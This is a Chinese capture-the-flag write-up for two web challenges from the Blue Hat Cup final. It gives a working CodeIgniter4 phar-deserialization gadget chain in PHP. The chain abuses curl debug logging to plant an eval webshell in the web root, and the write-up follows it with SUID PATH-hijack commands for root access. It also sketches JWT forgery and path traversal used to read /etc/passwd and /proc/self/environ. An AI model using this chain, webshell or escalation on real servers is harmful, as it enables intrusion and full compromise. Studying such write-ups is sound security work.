蓝帽杯-final WEB题解

阅读量147776

|

发布时间 : 2021-09-02 15:30:54

 

ImageCheck

题目是一个codeigniter4的框架,既然是一个MVC框架,因此我们首先先看uploadcheckcontroller

对文件进行过滤,并且要求文件后缀是图片后缀,当满足条件之后会进行check,我们再来看check对应的controller

很明显的一个利用phar反序列化的考点,因为getimagesize该函数可以触发phar反序列化,有了入口点之后我们需要做的就是找一条gadget chains

在这里网上已有的反序列化链子是存在的,可以结合Rogue-mysql进行任意文件读取和SQL注入,但是CI框架只允许运行在PHP7.2及往上版本,而MySQL恶意服务器文件读取漏洞只能运行在PHP<7.3版本,所以本次漏洞挖掘只可以运行在刚刚好的PHP7.2.x

而给出的CI需要运行在PHP 7.3以上的环境,因此这条链子是行不通的,但是爆出来的也只有这一条链子,因此可能需要我们挖掘额外的链子,但是实际上我们是可以借鉴这条链子的,全局搜索__destruct方法:

这里要么寻找__call()方法要么来找其他类的close()方法,这里我们借鉴phpggc给出的链子,来看MemcachedHanlerclose()方法:

public function close(): bool
{
    if (isset($this->memcached))
    {
         isset($this->lockKey) && $this->memcached->delete($this->lockKey);
        if (! $this->memcached->quit())
        {
            return false;
        }
        $this->memcached = null;
        return true;
    }

    return false;
}

这里又可以调用其他类的delete方法,并且传递的一个参数是可控的,因此继续跟进全局搜索其他类的delete方法,跟进了很多类中的delete方法,最终找到了CURLRequest类:

在这里url参数是可控的,猜想这里是能够进行触发curl,不妨先跟进看下:

调用了send方法,继续跟进该方法:

public function send(string $method, string $url)
    {
        // Reset our curl options so we're on a fresh slate.
        $curlOptions = [];

        if (! empty($this->config['query']) && is_array($this->config['query']))
        {
            // This is likely too naive a solution.
            // Should look into handling when $url already
            // has query vars on it.
            $url .= '?' . http_build_query($this->config['query']);
            unset($this->config['query']);
        }

        $curlOptions[CURLOPT_URL]            = $url;
        $curlOptions[CURLOPT_RETURNTRANSFER] = true;
        $curlOptions[CURLOPT_HEADER]         = true;
        $curlOptions[CURLOPT_FRESH_CONNECT]  = true;
        // Disable @file uploads in post data.
        $curlOptions[CURLOPT_SAFE_UPLOAD] = true;

        $curlOptions = $this->setCURLOptions($curlOptions, $this->config);
        $curlOptions = $this->applyMethod($method, $curlOptions);
        $curlOptions = $this->applyRequestHeaders($curlOptions);

        // Do we need to delay this request?
        if ($this->delay > 0)
        {
            sleep($this->delay); // @phpstan-ignore-line
        }

        $output = $this->sendRequest($curlOptions);

        // Set the string we want to break our response from
        $breakString = "\r\n\r\n";

        if (strpos($output, 'HTTP/1.1 100 Continue') === 0)
        {
            $output = substr($output, strpos($output, $breakString) + 4);
        }

         // If request and response have Digest
        if (isset($this->config['auth'][2]) && $this->config['auth'][2] === 'digest' && strpos($output, 'WWW-Authenticate: Digest') !== false)
        {
                $output = substr($output, strpos($output, $breakString) + 4);
        }

        // Split out our headers and body
        $break = strpos($output, $breakString);

        if ($break !== false)
        {
            // Our headers
            $headers = explode("\n", substr($output, 0, $break));

            $this->setResponseHeaders($headers);

            // Our body
            $body = substr($output, $break + 4);
            $this->response->setBody($body);
        }
        else
        {
            $this->response->setBody($output);
        }

        return $this->response;
    }

证实了猜测,确实可以触发curl并且url是可控的,但是即使是能够curl,由于是phar反序列化触发的也不会有回显,那如何通过curl的方式来RCE呢?

这里实际上是比较巧妙的使用了PHP Curl中的debug
举个例子:

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'www.baidu.com');
curl_setopt($ch, CURLOPT_VERBOSE, true); // curl debug
curl_setopt($ch, CURLOPT_STDERR, fopen('/tmp/curl_debug.log', 'w+')); // curl debug
curl_exec($ch);
curl_close($ch);

这里的关键是CURLOPT_VERBOSE设置为true,代表开启debug状态后这样就可以将debug内容写入/tmp/curl_debug.log文件, 其中CURLOPT_VERBOSE, CURLOPT_STDERRcurl dubug的关键项。

本地测下:

<?php
$url = "https://crisprx.top";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_VERBOSE, true); // curl debug
curl_setopt($ch, CURLOPT_STDERR, fopen('ccccrispr.txt', 'w+')); // curl debug
curl_exec($ch);
curl_close($ch);

成功写入文件:

这给了我们一定的启发,如果我们在CURLRequest类中也能够控制开启debug,并且控制debug的路径,那我们通过可控的url是不是就能写入任意内容了呢?

答案是肯定的,可以看到:

在该类中存在$config配置curl,并且默认是false,返回到send方法:

这里调用$this->setCURLOptions传递了$config配置,跟进该方法:

...
// Debug
        if ($config['debug'])
        {
            $curlOptions[CURLOPT_VERBOSE] = 1;
            $curlOptions[CURLOPT_STDERR]  = is_string($config['debug']) ? fopen($config['debug'], 'a+') : fopen('php://stderr', 'w');
        }
...

这里开启了刚才curl debug最关键的两个字段:CURLOPT_VERBOSE&CURLOPT_STDERR,并且这里的$config['debug']是我们可控的,这样我们可以控制它为/var/www/html/uploads/shell.php,这样就可以写入shell了

因此EXP就很好写了:

<?php
namespace CodeIgniter\Cache\Handlers{
    class RedisHandler{
        protected $redis;
        public function __construct($redis)
        {
            $this->redis = $redis;
        }
    }

}

namespace CodeIgniter\Session\Handlers{
    class MemcachedHandler{
        protected $memcached;
        protected $lockKey;
        public function __construct($memcached)
        {
            $this->lockKey = "http://xxx:3333/?<?=eval(\$_POST[1])?>";
            $this->memcached = $memcached;
        }
    }
}

namespace CodeIgniter\HTTP{
    class CURLRequest{
        protected $config = [];
        public function __construct()
        {
            $this->config = [
                'timeout'         => 0.0,
                'connect_timeout' => 150,
                'debug'           => '/var/www/html/public/uploads/shell.php',
                'verify'          => false,
            ];
        }
    }
}

namespace{
    $code = new \CodeIgniter\HTTP\CURLRequest();
    $memcached = new \CodeIgniter\Session\Handlers\MemcachedHandler($code);
    $redis = new \CodeIgniter\Cache\Handlers\RedisHandler($memcached);
    $a = $redis;
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $phar->setMetadata($a); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
        //签名自动计算
    $phar->stopBuffering();
}
?>

最后只需要将生成的phar包进行gzip或者bzip2压缩后修改后缀为jpg上传后再通过phar触发反序列化写入shell

getshell后发现还需要提权,存在一个readflag文件属性是SUID:

其实是一个很经典的环境变量PATH提权,以前在vulnhub的Bytesec这个虚拟机里出现过该考点

该环境变量提权的思路就是:
重新设置环境变量在/tmp目录下,则我们在使用/usr/bin/ls时使用的系统命令会定位到/tmp路径下的ls可执行程序,而内容已被我们篡改,因为ls是SUID权限,即运行时有root权限,所以我们借这个SUID位执行我们设置的ls,即我们以root身份打开了一个/bin/sh,成功提权。

因此可以构造如下:

cd /tmp #只有/tmp目录下可写
echo "/bin/sh" > ls #将/bin/sh写入ls
chmod +x ls #赋予可执行权限给netstat
echo $PATH #查看当前环境变量
export PATH=/tmp:$PATH

最后提权root

 

web2

这题入口只能说是个脑洞题。。那么久没给hint不知道咋想的,给hint之后能读jwt的secret_key,结合之前扫目录发现的register路由可以根据POST的username来生成对应的token,拿到secret_key便能够伪造admin身份了:

伪造完之后发现可以读取源码:

知道还有个addAdmin路由,这里可以用该路由将自己注册的用户来addAdmin之后便可以登录访问/admin路由不然一直卡死,比赛的时候非常迷,总之动不动就会卡死,然后还要一堆涉及到SQL的操作,但其实利用的主要就是getfile路由,因为filename可控且没有过滤,因此直接可以进行路径穿越读取/etc/passwd成功后继续读取/proc/self/environ发现根目录貌似是在root然后就顺着直接读flag了:

本文由Crispr原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/252294

安全客 - 有思想的安全新媒体

分享到:微信
+13赞
收藏
Crispr
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66